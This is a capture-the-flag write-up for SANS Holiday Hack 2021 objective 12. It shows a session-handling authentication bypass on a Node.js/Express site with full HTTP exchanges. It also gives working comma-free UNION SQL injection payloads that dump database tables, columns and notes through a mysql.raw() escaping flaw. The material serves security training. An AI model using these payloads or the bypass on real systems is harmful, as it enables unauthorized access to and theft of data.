This is challenge number 12 in the 2021 SANS Holiday Hack Challenge (https://2021.kringlecon.com/). Objective:

Investigate Frost Tower’s website for security issues. This source code will be useful in your analysis. In Jack Frost’s TODO list, what job position does >Jack plan to offer Santa? Ribb Bonbowford, in Santa’s dining room, may have some pointers for you.

This challenge starts by Ribb Bonbowford telling us to lookup the documentation for (express-session) https://www.npmjs.com/package/express-session and mysqljs (https://github.com/mysqljs/mysql). Other than that clue, it is left up to us to download the source code and make our way from there. After downloading the source, we see that we are working with a nodejs service

Objective12 nodejs service

Opening up the main server.js lets us take a look at all of the endpoints exposed by the server. The /testsite looks like an interesting path to try

app.get('/testsite', function(req, res, next) {
    session = req.session;
    res.render('testsite',
        {
            'title': 'Frost Tower --- Test Site',
        }
    );
});

This takes us to a page which has some interesting features. After browsing through I found a “Contact Us” page, which led to a “Dashboard Login” page

Objective12 testsite

Objective12 contact us

Objective12 login

A quick signin attempt with random data shows an Invalid username and password.

Objective12 login

So, we’ve gathered that we have a test website with some basic functionality and an ability to login. If there is the ability to login, there may be administrative pages. Back to the source code! The admin dashboard certainly sounds interesting

app.get('/dashboard', function(req, res, next){

    session = req.session;

    if (session.uniqueID){

        <...>
            res.render('dashboard',
                {
                    'title': 'Admin Dashboard',
                    'strcountry': countrybuf_tostring,
                    'encontact': encontactList,
                    'pageSize': pageSize,
                    'totalRecord': totalRecord,
                    'pageCount': pageCount,
                    'currentPage': currentPage,
                    'dateFormat': dateFormat,
                    'csrfToken': req.csrfToken(),
                    'csrfTokenSearch': req.csrfToken(),
                    'csrfTokenExport': req.csrfToken(),
                    'userlogin': session.userfullname,
                    'userstatus': session.userstatus
                }
            );
        });

    } else {
        res.redirect("/login");
    }
});
  <...>

We can see by reading the code that we will likely be redirected to /login if we have not established a “session.uniqueID”. So, what is a session.uniqueID? Let’s read the documentation (https://github.com/expressjs/session#genid). A session id is set by the express-session library. It is simply an ID that gets generated by the library that is supposed to be unique within the app, and returned back as a cookie called connect.sid by default. The session.uniqueID is a piece of information that the app sets within the session. Looking back at the server.js code we find the configuration for sessions

app.use(sessions({
    secret: "bMebTAWEwIwfBijHkSAmEozIpKpDvGyXRqUwbjbL",
    resave: true,
    saveUninitialized: true
}));

We find a secret value which we could potentially use to generate/highlight valid server sessions. Also interesting is “resave” and “saveUninitialized”. What are these? According to the documentation:

saveUninitialized - Forces a session that is “uninitialized” to be saved to the store. A session is uninitialized when it is new but not modified. Choosing false is useful for implementing login sessions, reducing server storage usage, or complying with laws that require permission before setting a cookie. Choosing false will also help with race conditions where a client makes multiple parallel requests without a session.

resave - Forces the session to be saved back to the session store, even if the session was never modified during the request. Depending on your store this may be >necessary, but it can also create race conditions where a client makes two parallel requests to your server and changes made to the session in one request >may get overwritten when the other request ends, even if it made no changes (this behavior also depends on what store you’re using).

These values being set to true are certainly suspect. How could we trigger a race condition to get a valid session set? Searching through the code we come across a couple of places where the unique session id gets set. Specifically, /postcontact looks interesting

app.post('/postcontact', function(req, res, next){
<...>
if (rowlength >= "1"){
    session = req.session;
    session.uniqueID = email;
    req.flash('info', 'Email Already Exists');
    res.redirect("/contact");

} else {

    tempCont.query("INSERT INTO uniquecontact (full_name, email, phone, country, date_created) VALUE (?, ?, ?, ?, ?)", [fullname, email, phone, country, date_created], function(error, rows, fields) {

<...>

session = req.session;
req.flash('info', 'Data Saved to Database!');
res.redirect("/contact");

So what if we give that endpoint a call?

POST /postcontact HTTP/2
Host: staging.jackfrosttower.com
Cookie: _csrf=-ETAmzg_GmXjluE0VQyse4Mr; connect.sid=s%3AD9YUyXWUka4jF92iRoxCyUxzTp12tPu7.adYNZt1uAwPLtpldYJigJm0eGctLJbj4%2BQYQNuvKnY0

_csrf=Ui8UZOTc-OegbG7GCCsROlDeA1hEwjy6rEtQ&fullname=bkringle&email=kringlealltheway%40a.com&phone=1&country=United+States&submit=SAVE


HTTP/2 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 28690
Etag: W/"7012-es+rfDnAqYFszTBVSTIPso00SSU"
Date: Sun, 02 Jan 2022 17:41:44 GMT
Via: 1.1 google
Alt-Svc: clear

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">

    <title>Contact Us</title>
    <link href="/css/style.css" rel="stylesheet">
</head>
<body>


    <div class="wrapcontent">
        <div class="wrapdtbl">
            <div class="cell">
                <div class="inner">
                    <h1>Contact Us</h1>


<p class="success">Data Saved to Database!</p>

It tells us that the data has been saved to the database. Can we access the dashboard page now?

GET /dashboard HTTP/2
Host: staging.jackfrosttower.com
Cookie: _csrf=-ETAmzg_GmXjluE0VQyse4Mr; connect.sid=s%3AD9YUyXWUka4jF92iRoxCyUxzTp12tPu7.adYNZt1uAwPLtpldYJigJm0eGctLJbj4%2BQYQNuvKnY0

GET /login HTTP/2
Host: staging.jackfrosttower.com
Cookie: _csrf=-ETAmzg_GmXjluE0VQyse4Mr; connect.sid=s%3AD9YUyXWUka4jF92iRoxCyUxzTp12tPu7.adYNZt1uAwPLtpldYJigJm0eGctLJbj4%2BQYQNuvKnY0

HTTP/2 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 1345
Etag: W/"541-PZEZ02Z2WHG0aQ4sa9Zb1dzUP6E"
Date: Sun, 02 Jan 2022 17:43:25 GMT
Via: 1.1 google
Alt-Svc: clear

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">

    <title>Sign In</title>
    <link href="/css/style.css" rel="stylesheet">
</head>
<body>


<div class="wrapcontent">
  <div class="wrapdtbl">
    <div class="cell">
<div class="inner">
<h1>Sign In</h1>

Nope, it just redirects us back to the login page :( But if we think about what saveUninitialized says - “Forces a session that is “uninitialized” to be saved to the store. A session is uninitialized when it is new but not modified.”. What if we POST our contact information again?

POST /postcontact HTTP/2
Host: staging.jackfrosttower.com
Cookie: _csrf=-ETAmzg_GmXjluE0VQyse4Mr; connect.sid=s%3AD9YUyXWUka4jF92iRoxCyUxzTp12tPu7.adYNZt1uAwPLtpldYJigJm0eGctLJbj4%2BQYQNuvKnY0

_csrf=Ui8UZOTc-OegbG7GCCsROlDeA1hEwjy6rEtQ&fullname=bkringle&email=kringlealltheway%40a.com&phone=1&country=United+States&submit=SAVE

HTTP/2 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 28687
Etag: W/"700f-LIfuFp4xZz7PspUsxthzi/P5Voo"
Date: Sun, 02 Jan 2022 17:48:26 GMT
Via: 1.1 google
Alt-Svc: clear

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">

    <title>Contact Us</title>
    <link href="/css/style.css" rel="stylesheet">
</head>
<body>


<div class="wrapcontent">
  <div class="wrapdtbl">
      <div class="cell">
  <div class="inner">
<h1>Contact Us</h1>

<p class="success">Email Already Exists</p>

It tells us that our email already exists. What if we try accessing the dashboard again?

GET /dashboard HTTP/2
Host: staging.jackfrosttower.com
Cookie: _csrf=-ETAmzg_GmXjluE0VQyse4Mr; connect.sid=s%3AD9YUyXWUka4jF92iRoxCyUxzTp12tPu7.adYNZt1uAwPLtpldYJigJm0eGctLJbj4%2BQYQNuvKnY0

HTTP/2 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 7983
Etag: W/"1f2f-LsQlnRXTeDVlfY2srA2hbf81ncA"
Date: Sun, 02 Jan 2022 17:52:58 GMT
Via: 1.1 google
Alt-Svc: clear

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">

    <title>Admin Dashboard</title>
    <link href="/css/style.css" rel="stylesheet">
</head>
<body>


<div class="wrapcontent">
  <div class="wrapdtbl">

    <div class="cell">
      <div class="inner innerlist rowtop">
      <p>Hello, <strong></strong>  <a href="/logout">[ Logout ]</a>
     </p>
  </div>
  <div class="inner innerlist">
  <form method="POST" action="/search" id="src">
    <input type="hidden" name="_csrf" value="CFJy7AaA-lVnZFDtqOo53DogCjcvJcddl9kI">
    <input type="text" name="search" placeholder="Search data" required><input type="submit" name="submit" value="Search">
  </form>

  <h3>Total Contact Listing : 715</h3>
  <h4><a href="/contact">Add Contact</a></h4>
  <form method="POST" action="/export" class="formexport">
  <input type="hidden" name="_csrf" value="CFJy7AaA-lVnZFDtqOo53DogCjcvJcddl9kI">
  <input type="submit" name="submit" value="Export to Excel">
    </form>

<div class="clearfix"></div>



  <table>
    <tr>
    <th>No</th>
    <th>Name</th>
    <th>Email</th>
    <th>Phone</th>
    <th>Date created</th>
    <th>#</th>
  </tr>

Alright, we have bypassed auth! Specfically, we hit the code block which populates the uniqueID

 if (rowlength >= "1"){
    session = req.session;
    session.uniqueID = email; 

Objective12 bypass auth

We’ve opened up the ability to look at user details and edit them

Objective12 login

Objective12 login

So let’s go back to the source code and find our place. One common denominator that we see in all of the endpoints is that they are making SQL queries back to a database. There is a good chance this app could be vulnerable to SQL injection attacks. Earlier Ribb Bonbowford pointed us to the msqljs library which adds further suspicion we may be looking at SQL injection. We notice that the app owners are trying to be good security people and sanitize the user controlled input that goes into the queries. And it looks like they are using the mysqljs library to handle escaping. Time to read the documentation! Specifically, there is a section on escaping - https://github.com/mysqljs/mysql#escaping-query-values and we find words of caution

To generate objects with a toSqlString method, the mysql.raw() method can be used. This creates an object that will be left un-touched when using in a ? placeholder, useful for using functions as dynamic values:

Caution The string provided to mysql.raw() will skip all escaping functions when used, so be careful when passing in unvalidated input.

Are they using mysql.raw() anywhere? It turns out they are!

app.get('/detail/:id', function(req, res, next) {
    session = req.session;
    reqparam = req.params['id'];
    var query = "SELECT * FROM uniquecontact WHERE id=";

    if (session.uniqueID){

        try {
            if (reqparam.indexOf(',') > 0){
                var ids = reqparam.split(',');
                reqparam = "0";
                for (var i=0; i<ids.length; i++){
                    query += tempCont.escape(m.raw(ids[i]));
                    query += " OR id="
                }
                query += "?";
            }else{
                query = "SELECT * FROM uniquecontact WHERE id=?"
            }
        } catch (error) {
            console.log(error);
            return res.sendStatus(500);
        }

tempCont.query(query, reqparam, function(error, rows, fields){

At a glance, it appears that they escape the raw input

tempCont.escape(m.raw(ids[i]));

But a look at the documentation tells us:

Objects that have a toSqlString method will have .toSqlString() called and the returned value is used as the raw SQL.

So this looks like our place to start crafting a SQL injection payload. Rather than trying to perform blind injection against the server, I setup a local instance of the server so I had better visibility on what the final payload looked like. I first created a database using the encontact_db.sql file

88665a561824:~ bryan$ mysql -uroot
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 8.0.27 Homebrew

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> CREATE DATABASE `encontact`;
Query OK, 1 row affected (0.00 sec)

mysql>
mysql> USE `encontact`;
Database changed
mysql>
mysql> /*Table structure for table `uniquecontact` */
mysql> DROP TABLE IF EXISTS `uniquecontact`;
Query OK, 0 rows affected, 1 warning (0.00 sec)

mysql>
mysql> CREATE TABLE `uniquecontact` (
    ->   `id` int(50) NOT NULL AUTO_INCREMENT,
    ->   `full_name` varchar(255) DEFAULT NULL,
    ->   `email` varchar(255) DEFAULT NULL,
    ->   `phone` varchar(50) DEFAULT NULL,
    ->   `country` varchar(255) DEFAULT NULL,
    ->   `date_created` datetime DEFAULT NULL,
    ->   `date_update` datetime DEFAULT NULL,
    ->   PRIMARY KEY (`id`)
    -> ) ENGINE=InnoDB AUTO_INCREMENT=33 DEFAULT CHARSET=latin1;
Query OK, 0 rows affected, 1 warning (0.01 sec)

mysql>
mysql>
mysql> /*Table structure for table `users` */
mysql> DROP TABLE IF EXISTS `users`;
Query OK, 0 rows affected, 1 warning (0.00 sec)

mysql>
mysql> CREATE TABLE `users` (
    ->   `id` int(50) NOT NULL AUTO_INCREMENT,
    ->   `name` varchar(255) DEFAULT NULL,
    ->   `email` varchar(255) DEFAULT NULL,
    ->   `password` varchar(255) DEFAULT NULL,
    ->   `user_status` varchar(10) DEFAULT NULL,
    ->   `date_created` datetime DEFAULT NULL,
    ->   `token` varchar(255) DEFAULT NULL,
    ->   PRIMARY KEY (`id`)
    -> ) ENGINE=InnoDB AUTO_INCREMENT=10 DEFAULT CHARSET=latin1;
Query OK, 0 rows affected, 1 warning (0.00 sec)

mysql>
mysql>
mysql> /* Table structure for table `emails` */
mysql> DROP TABLE IF EXISTS `emails`;
Query OK, 0 rows affected, 1 warning (0.00 sec)

mysql>
mysql> CREATE TABLE `emails` (
    ->     `id` int(50) NOT NULL AUTO_INCREMENT,
    ->     `email` varchar(255) DEFAULT NULL,
    ->     PRIMARY KEY (`id`)
    -> ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
Query OK, 0 rows affected, 1 warning (0.01 sec)

mysql>
mysql> ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'password';
Query OK, 0 rows affected (0.00 sec)

mysql> flush privileges;
Query OK, 0 rows affected (0.00 sec)

Modified the modconnection.js file to point to localhost

function createCon(){
    var connection  = mysql.createPool({
        connectionLimit: 4000,
        queueLimit: 3000,
        host: 'localhost',
        user: 'root',
        password: 'password',
        database: 'encontact',
        port: 3306,
        insecureAuth: true
    });

And started the server.js app

88665a561824:frosttower-web bryan$ node server.js
(node:41333) Warning: Accessing non-existent property 'prototype' of module exports inside circular dependency
(Use `node --trace-warnings ...` to show where the warning was created)
Server listening on port 1155

I created a console.log statement in the app.get(‘/detail/:id’) endpoint so that I could see what the final query looks like. I also changed “if (session.uniqueID)” to “if (1)” so I would not need to worry about trying to bypass session authentication logic.

if (1){

    try {
<...>
console.log(query);
tempCont.query(query, reqparam, function(error, rows, fields){
<...>
GET /detail/2 HTTP/2
Host: localhost:1155

GET /detail/(1,2) HTTP/2
Host: localhost:1155

Objective12 console log

We can see that the app is stripping out “,” and replacing it with “OR id=”. Fortunately, I found a post about crafting SQL strings without the need for commas - https://book.hacktricks.xyz/pentesting-web/sql-injection/mysql-injection#mysqlinjection-without-commas Using knowledge of crafting queries without commas, and a tip from the PortSwigger SQL injection cheat sheet (https://portswigger.net/web-security/sql-injection/cheat-sheet) about how to find tables & column values in mysql databases - I was able to craft the payload

Dump tables from information_schema.tables

(1),(1) union select * from (select 1)UT1 JOIN (SELECT table_name FROM information_schema.tables)UT2 on 1=1 JOIN (SELECT 3)UT3 on 1=1 JOIN (SELECT 4)UT4 on 1=1 JOIN (SELECT 5)UT5 on 1=1 JOIN (SELECT 6)UT6 on 1=1 JOIN (SELECT 7)UT7 on 1=1--

Objective12 dump tables

Dump columns in the todo table

(1),(1) union select * from (select 1)UT1 JOIN (SELECT column_name FROM information_schema.columns WHERE table_name = 'todo')UT2 on 1=1 JOIN (SELECT 3)UT3 on 1=1 JOIN (SELECT 4)UT4 on 1=1 JOIN (SELECT 5)UT5 on 1=1 JOIN (SELECT 6)UT6 on 1=1 JOIN (SELECT 7)UT7 on 1=1--

Objective12 dump columns

Dump notes

(1),(1) union select * from (select 1)UT1 JOIN (SELECT note FROM encontact.todo)UT2 on 1=1 JOIN (SELECT 3)UT3 on 1=1 JOIN (SELECT 4)UT4 on 1=1 JOIN (SELECT 5)UT5 on 1=1 JOIN (SELECT 6)UT6 on 1=1 JOIN (SELECT 7)UT7 on 1=1--

Objective12 dump notes

And here we see that Jack was planning to offer Santa a job as a “clerk” which is the answer to the challenge question!

Objective12 complete